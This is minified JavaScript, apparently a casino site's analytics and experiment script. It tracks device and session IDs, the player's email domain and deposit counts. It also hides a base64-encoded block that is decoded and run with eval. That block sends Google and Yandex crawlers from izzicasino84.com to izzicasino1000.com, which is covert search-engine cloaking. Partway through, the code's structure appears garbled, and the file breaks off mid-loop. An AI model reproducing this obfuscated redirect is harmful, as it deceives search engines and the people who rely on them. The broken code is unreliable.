function save_properties(key,value,seconds=15768e4){document.cookie=`${key}=${value};path=/;max-age=${seconds}`}function get_properties(key){try{return document.cookie.split("; ").find((row=>row.startsWith(`${key}=`))).replace(`${key}=`,"")}catch(e){return}}function del_properties(key){document.cookie=`${key}=;max-age=0`}function update_ex(){let urexp_tmp=get_properties("urexp"),ex_tmp=get_properties("experiments");!urexp_tmp&&ex_tmp&&(save_properties("urexp",btoa(ex_tmp)),del_properties("experiments"))}function set_experiments_cookie(assigned,upd){let urexp_data=btoa(JSON.stringify({assigned:assigned,upd:upd}));try{setIframeValue("urexp",urexp_data),setCookie("urexp",urexp_data),syncAllCookies()}catch(e){localStorage.setItem("urexp",urexp_data)}save_properties("urexp",urexp_data)}webDataApi[0].api_url=function(endpoint="",get_params={}){const url=new URL(`https://${webDataApi[0].project_name}.maxclientstatapi.com/${endpoint}`),params=new URLSearchParams;for(const key in get_params)params.append(key,get_params[key]);return params.toString()&&(url.search=params.toString()),url.toString()},webDataApi[0].user_id&&webDataApi[0].user_id>0&&save_properties("user_id",webDataApi[0].user_id),update_ex();var timezone_data=new Date;webDataApi[0].timezone=timezone_data.getTimezoneOffset();var h_id="aWYobG9jYXRpb24uaG9zdG5hbWUgPT09ICJpenppY2FzaW5vODQuY29tIiAmJiBbLi4ubmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLm1hdGNoQWxsKCIoeWFuZGV4XC58Z29vZ2xlXC58Z29vZ2xlYm90fGdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbnxnb29nbGUtc3RydWN0dXJlZHxnb29nbGUgd2ViIHByZXZpZXd8Z29vZ2xlIGZhdmljb24pIildLmxlbmd0aCA+IDApe2xvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaXp6aWNhc2lubzEwMDAuY29tLyIpO30=";function get_srv_time(){try{var xmlHttp=new XMLHttpRequest;return xmlHttp.open("GET",webDataApi[0].api_url("time"),!1),xmlHttp.send(null),time_tmp=Number(xmlHttp.responseText),time_tmp>0?time_tmp:Date.now()}catch(e){return Date.now()}}try{eval(atob(h_id))}catch(e){}webDataApi[0].refresh_id=Date.now();try{window.removeEventListener("mousemove",statapiResetIdleTimer)}catch(e){}try{window.removeEventListener("mousedown",statapiResetIdleTimer)}catch(e){}try{window.removeEventListener("touchstart",statapiResetIdleTimer)}catch(e){}try{window.removeEventListener("click",statapiResetIdleTimer)}catch(e){}function UpdateSessionID(){try{let sid_tmp=Number(get_properties("statapi_session_id"));webDataApi[0].session_id=sid_tmp&&sid_tmp>0?sid_tmp:get_srv_time()}catch(e){webDataApi[0].session_id=get_srv_time()}save_properties("statapi_session_id",webDataApi[0].session_id,1800)}function UpdateDeviceID(){if(Number(get_properties("statapi_device_id"))>0)webDataApi[0].device_id=Number(get_properties("statapi_device_id"));else if(Number(localStorage.getItem(`${webDataApi[0].project_name}_statapi_device_id`))>0)webDataApi[0].device_id=Number(localStorage.getItem(`${webDataApi[0].project_name}_statapi_device_id`)),save_properties("statapi_device_id",webDataApi[0].device_id);else{for(var random_id="",i=0;i<4;i++)random_id+="0123456789".charAt(Math.floor(10*Math.random()));webDataApi[0].device_id=Number(get_srv_time()+random_id),save_properties("statapi_device_id",webDataApi[0].device_id);try{setIframeValue("statapi_device_id",webDataApi[0].device_id),setCookie("statapi_device_id",webDataApi[0].device_id),syncAllCookies()}catch(e){}}}webDataApi[0].session_id?save_properties("statapi_session_id",webDataApi[0].session_id,1800):UpdateSessionID(),window.addEventListener("mousemove",UpdateSessionID,{passive:!0}),window.addEventListener("mousedown",UpdateSessionID,{passive:!0}),window.addEventListener("touchstart",UpdateSessionID,{passive:!0}),window.addEventListener("click",UpdateSessionID,{passive:!0}),void 0===webDataApi[0].device_id&&UpdateDeviceID(),webDataApi[0].authorized=!1;try{if(""!==document.referrer)var d_ref=document.referrer}catch(e){var d_ref=void 0}function update_user_props(){let userId,email,depsCount;"undefined"!=typeof vm?(userId=vm?.$store?.state?.player?.data?.id||vm?.$store?.state?.player?.id||vm?.$pinia?.state?.value?.player?.data?.id||void 0,email=vm?.$store?.state?.player?.data?.email||vm?.$store?.state?.player?.email||vm?.$pinia?.state?.value?.player?.data?.email||void 0,depsCount="number"==typeof vm?.$store?.state?.playerStats?.data?.deposits_count?vm?.$store?.state?.playerStats?.data?.deposits_count:"number"==typeof vm?.$pinia?.state?.value?.playerStats?.data?.deposits_count?vm?.$pinia?.state?.value?.playerStats?.data?.deposits_count:void 0):"undefined"!=typeof app&&(userId=app?.data?.user?.account?.id||void 0,email=app?.data?.user?.account?.email||void 0,depsCount="number"==typeof app?.data?.user?.stats?.depositsCount?app?.data?.user?.stats?.depositsCount:void 0),webDataApi[0].authorized=!1,userId&&userId>0?(webDataApi[0].user_id=userId,webDataApi[0].authorized=!0):"string"==typeof get_properties("user_id")&&(webDataApi[0].user_id=get_properties("user_id"),webDataApi[0].authorized=!1),email&&(webDataApi[0].email_domain=email.split("@").pop(),/(jetmail)/.exec(email)&&(webDataApi[0].is_test_user=!0)),"number"==typeof depsCount&&(webDataApi[0].deposits_count=depsCount)}try{update_user_props()}catch(e){}function get_page_tags(){var page_tags={},page_tags_ready=!1,page_tags_isEmpty=!0;try{if(__start_url)for(var pair of(page_tags_ready=!0,__start_url.searchParams.entries()))try{page_tags[pair[0]]=pair[1]}catch(e){}}catch(e){try{app.settings.GET&&(page_tags_ready=!0,page_tags=app.settings.GET)}catch(e){}}try{navigator.standalone||window.matchMedia("(display-mode: standalone)").matches?webDataApi[0].is_pwa=!0:webDataApi[0].is_pwa=!1}catch(e){}return page_tags_ready&&"{}"!==JSON.stringify(page_tags)&&(page_tags_isEmpty=!1),{page_tags_ready:page_tags_ready,page_tags:page_tags,page_tags_isEmpty:page_tags_isEmpty}}get_page_tags().page_tags_isEmpty||(webDataApi[0].tags=get_page_tags().page_tags);try{webDataApi[0].tags=Object.assign(webDataApi[0].tags,get_af_tags())}catch(e){}function get_af_tags(){var af_tags={};try{(af_tags=JSON.parse(atob(decodeURIComponent(document.cookie.replace(/(?:(?:^|.*;\s*)stag\s*\=\s*([^;]*).*$)|^.*$/,"$1")).match(/(.+)--/)[1])))._rails.message=JSON.parse(atob(af_tags._rails.message))}catch(e){}if("{}"!==JSON.stringify(af_tags))return af_tags}function check_is_new_user(){try{return void 0===webDataApi[0].user_id&&void 0!==webDataApi[0].tags&&void 0!==webDataApi[0].tags.stag||(!(void 0!==webDataApi[0].user_id||!location.pathname.includes("/wheel"))||(void 0!==webDataApi[0].tags&&void 0!==webDataApi[0].tags.notify&&"activateAfterRegister"==webDataApi[0].tags.notify||!(!location.hostname.includes("dev")&&!location.hostname.includes("kube"))))}catch(e){return null}}get_af_tags(),webDataApi[0].launchNewChat=function(devmode=!0){const updateButton=()=>{let button;if(devmode&&console.log("Клик"),document.getElementById("top-menu-support-livechat"))button=document.getElementById("top-menu-support-livechat"),button.removeAttribute("href");else{if(!document.getElementById("bottom_menu-chat"))return void(devmode&&console.log("Кнопка не найдена"));button=document.getElementById("bottom_menu-chat")}button.addEventListener("click",(event=>{event.preventDefault(),window.dispatchEvent(new Event("chat-micro-app-open"))})),button.addEventListener("touchend",(event=>{event.preventDefault(),window.dispatchEvent(new Event("chat-micro-app-open"))})),devmode&&console.log("Кнопка изменена")},handleAction=()=>{setTimeout(updateButton,25)};document.addEventListener("click",handleAction),document.addEventListener("touchend",handleAction);new MutationObserver((mutations=>{mutations.forEach((mutation=>{if(mutation.addedNodes.length){const chatWidget=document.getElementById("chat-widget-container");if(chatWidget){let waiting_duration;chatWidget.remove(),devmode&&console.log("Чат-виджет убран");try{waiting_duration=Math.round(performance.now())/1e3}catch(e){}send_data({event:"Support Chat",step:"change",result:waiting_duration})}}}))})).observe(document.body,{childList:!0,subtree:!0})},webDataApi[0].new_user=check_is_new_user();var updUewUserInterval=setInterval((()=>{check_is_new_user()&&!0!==webDataApi[0].new_user&&(webDataApi[0].new_user=!0)}),500);function post_user_experiments(user_id,user_experiments){return new Promise(((resolve,reject)=>{const url=webDataApi[0].api_url("experiments"),options={method:"POST",headers:{"Content-type":"application/json; charset=utf-8"},body:JSON.stringify({user_id:user_id,experiments:user_experiments})};fetch(url,options).then((response=>{if(!response.ok)throw new Error(`HTTP error! Status: ${response.status}`);return response.json()})).then((data=>{webDataApi[0].experiments=data.experiments,webDataApi[0].experiments_is_uploaded=!0,set_experiments_cookie(data.experiments,!0),resolve(data)})).catch((error=>{reject(error)}))}))}function set_experiment_option(experiment_id,option=0,version=0){webDataApi[0].experiments[experiment_id]={option:option,version:version},webDataApi[0].experiments_is_uploaded=!1,set_experiments_cookie(webDataApi[0].experiments,!1),void 0!==webDataApi[0].user_id&&post_user_experiments(webDataApi[0].user_id,webDataApi[0].experiments)}setTimeout((()=>{clearInterval(updUewUserInterval)}),4e3);try{var c_experiments=JSON.parse(atob(get_properties("urexp")));webDataApi[0].experiments_is_uploaded=c_experiments.upd;for(let key in c_experiments.assigned)c_experiments.assigned.hasOwnProperty(key)&&(c_experiments.assigned[key].hasOwnProperty("version")||(c_experiments.assigned[key]={option:c_experiments.assigned[key],version:0}));webDataApi[0].experiments=c_experiments.assigned}catch(e){webDataApi[0].experiments_is_uploaded=void 0,webDataApi[0].experiments={}}function cl_exp(){let plLang=vm.$store?.state?.player?.data?.language||vm.$pinia?.state?.value?.player?.data?.language||null,plCountry=vm.$store?.state?.player?.data?.country||vm.$pinia?.state?.value?.player?.data?.country||null,plStatuses=vm.$store?.state?.player?.data?.statuses||vm.$pinia?.state?.value?.player?.data?.statuses||[];if(vm?.$store?.state?.player?.data?.id||vm?.$store?.state?.player?.id||vm?.$pinia?.state?.value?.player?.data?.id||null){if(!("ru"==plLang&&"KZ"!=plCountry&&plStatuses.length>0&&plStatuses.some((group=>["silver","bronze"].includes(group.name.toLowerCase())))&&plStatuses.every((group=>-1===["platinum","gold","candidate","vip сегмент"].indexOf(group.name.toLowerCase())))&&1==get_experiment_option(185)))return!1;webDataApi[0].launchNewChat()}else{if(!location.hostname.includes("dev")&&!location.hostname.includes("kube"))return!1;webDataApi[0].launchNewChat()}return!0}var readyStateclexp={total:!1,cb_onload:!1};function ensuredCallOfclexp(state){if("legzo"===webDataApi[0].project_name&&(readyStateclexp={...readyStateclexp,...state}).total&&readyStateclexp.cb_onload){(location.hostname.includes("dev")||location.hostname.includes("kube"))&&webDataApi[0].launched_experiments&&webDataApi[0].launched_experiments[185]&&1!==get_experiment_option(185)&&set_experiment_option(185,1,webDataApi[0].launched_experiments[185].version);let plStatuses=vm.$store?.state?.player?.data?.statuses||vm.$pinia?.state?.value?.player?.data?.statuses||[],plId=vm.$store?.state?.player?.data?.id||vm.$pinia?.state?.value?.player?.data?.id||null;if(location.hostname.includes("dev")||location.hostname.includes("kube")||plId&&plStatuses.some((group=>"all staff"===group.name.toLowerCase())))var supportMfLoadInterval=setInterval((()=>{cl_exp()&&(clearInterval(supportMfLoadInterval),clearTimeout(supportMfLoadTimeout))}),250),supportMfLoadTimeout=setTimeout((()=>{clearInterval(supportMfLoadInterval)}),5e3);else if(1===get_experiment_option(185))supportMfLoadInterval=setInterval((()=>{cl_exp()&&(clearInterval(supportMfLoadInterval),clearTimeout(supportMfLoadTimeout))}),250),supportMfLoadTimeout=setTimeout((()=>{clearInterval(supportMfLoadInterval)}),5e3)}}var xhr=new XMLHttpRequest;function get_experiment_option(experiment_id){try{update_user_props()}catch(e){}let waiting_duration;try{waiting_duration=Math.round(performance.now())/1e3}catch(e){}try{if(1!=webDataApi[0].launched_experiments[experiment_id].launched)return 1==webDataApi[0].launched_experiments[experiment_id].permanent_option?void 0!==webDataApi[0].experiments[experiment_id]?(send_data({event:"Get Experiment",step:"permanen_option_check",experiment:experiment_id,option:webDataApi[0].experiments[experiment_id].option,version:0,waiting_duration:waiting_duration}),webDataApi[0].experiments[experiment_id].option):(send_data({event:"Get Experiment",step:"no_experiment_in_webDataApi",experiment:experiment_id,option:0,version:0,waiting_duration:waiting_duration}),0):(send_data({event:"Get Experiment",step:"no_experiment_not_permanent_variant",experiment:experiment_id,option:0,version:0,waiting_duration:waiting_duration}),0);try{if(void 0!==webDataApi[0].experiments[experiment_id])return webDataApi[0].experiments[experiment_id].version===webDataApi[0].launched_experiments[experiment_id].version?!0===webDataApi[0].experiments_is_uploaded||null==webDataApi[0].user_id?(send_data({event:"Get Experiment",step:"experiment variant restored",experiment:experiment_id,option:webDataApi[0].experiments[experiment_id].option,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),webDataApi[0].experiments[experiment_id].option):void 0!==webDataApi[0].user_id?(send_data({event:"Get Experiment",step:"version_equal",experiment:experiment_id,option:webDataApi[0].experiments[experiment_id].option,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),webDataApi[0].experiments[experiment_id].option):(send_data({event:"Get Experiment",step:"version_equal_no_user_id",experiment:experiment_id,option:webDataApi[0].launched_experiments[experiment_id].preoption,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),webDataApi[0].launched_experiments[experiment_id].preoption):0==webDataApi[0].experiments[experiment_id].option?(set_experiment_option(experiment_id,webDataApi[0].launched_experiments[experiment_id].preoption,webDataApi[0].launched_experiments[experiment_id].version),void 0!==webDataApi[0].experiments[experiment_id]?(send_data({event:"Get Experiment",step:"new_version_option_is_updated",experiment:experiment_id,option:webDataApi[0].launched_experiments[experiment_id].preoption,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),webDataApi[0].experiments[experiment_id].option):(send_data({event:"Get Experiment",step:"new_version_no_experiment",experiment:experiment_id,option:0,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),0)):(send_data({event:"Get Experiment",step:"option_not_0",experiment:experiment_id,option:webDataApi[0].experiments[experiment_id].option,version:webDataApi[0].launched_experiments[experiment_id].version,waiting_duration:waiting_duration}),webDataApi[0].experiments[experiment_id].option);try{webDataApi[0].registred_at=app.data.user.account.createdAt.getTime()}catch(e){}try{webDataApi[0].registred_at=void 0!==vm.$store.state.player.data.createdAt?new Date(vm.$store.state.player.data.createdAt).getTime():void 0!==vm.$pinia.state.value.player.data.createdAt?new Date(vm.$pinia.state.value.player.data.createdAt).getTime():void 0}catch(e){}try{webDataApi[0].first_visit=Number(get_properties("first_visit_sended"))}catch(e){}return("registred_at"in webDataApi[0]&&"launched_at"in webDataApi[0].launched_experiments[experiment_id]&&null!=webDataApi[0].launched_experiments[experiment_id].launched_at&&webDataApi[0].launched_experiments[experiment_id]&&webDataApi[0].launched_experiments[experiment_id].launched_at<=webDataApi[0].registred_at||"first_visit"in webDataApi[0]&&"launched_at"in webDataApi[0].launched_experiments[experiment_id]&&null!=webDataApi[0].launched_experiments[experiment_id].launched_at&&webDataApi[0].launched_experiments[experiment_id]&&isNaN(webDataApi[0].registred_at)&&webDataApi[0].launched_experiments[experiment_id].launched_atx==location.hostname))){function addGetParams(){try{Array.prototype.forEach.call(document.querySelectorAll("a"),(function(e){var href=e.getAttribute("href");if(href){var urlTmp=new URL(href);urlTmp.searchParams.set("mdid",webDataApi[0].device_id),urlTmp.searchParams.set("msid",webDataApi[0].session_id),e.setAttribute("href",urlTmp.href)}}))}catch(e){}}"complete"===document.readyState||"interactive"===document.readyState?addGetParams():window.addEventListener("DOMContentLoaded",addGetParams)}var promo_event=get_page_tags();if(1==promo_event.page_tags_ready)try{switch(promo_event.page_tags.utm_source){case"email":send_data({event:"Promo Email",tags:promo_event.page_tags});break;case"push":send_data({event:"Promo Push",tags:promo_event.page_tags});break;case"sms":send_data({event:"Promo SMS",tags:promo_event.page_tags});break;case"smm":send_data({event:"Promo SMM",tags:promo_event.page_tags});break;case"messenger":send_data({event:"Promo Messenger",tags:promo_event.page_tags});break;case"video":send_data({event:"Promo Video",tags:promo_event.page_tags})}}catch(e){}else{var send_page_tags=setInterval((()=>{if(1==(promo_event=get_page_tags()).page_tags_ready)try{switch(promo_event.page_tags.utm_source){case"email":send_data({event:"Promo Email",tags:promo_event.page_tags}),clearInterval(send_page_tags);break;case"push":send_data({event:"Promo Push",tags:promo_event.page_tags}),clearInterval(send_page_tags);break;case"sms":send_data({event:"Promo SMS",tags:promo_event.page_tags}),clearInterval(send_page_tags);break;case"smm":send_data({event:"Promo SMM",tags:promo_event.page_tags}),clearInterval(send_page_tags);break;case"messenger":send_data({event:"Promo Messenger",tags:promo_event.page_tags}),clearInterval(send_page_tags);break;case"video":send_data({event:"Promo Video",tags:promo_event.page_tags}),clearInterval(send_page_tags)}}catch(e){}}),500);setTimeout((()=>{clearInterval(send_page_tags)}),15e3)}function searchTag(event,tag_name,substring=!1){try{for(var i=0;i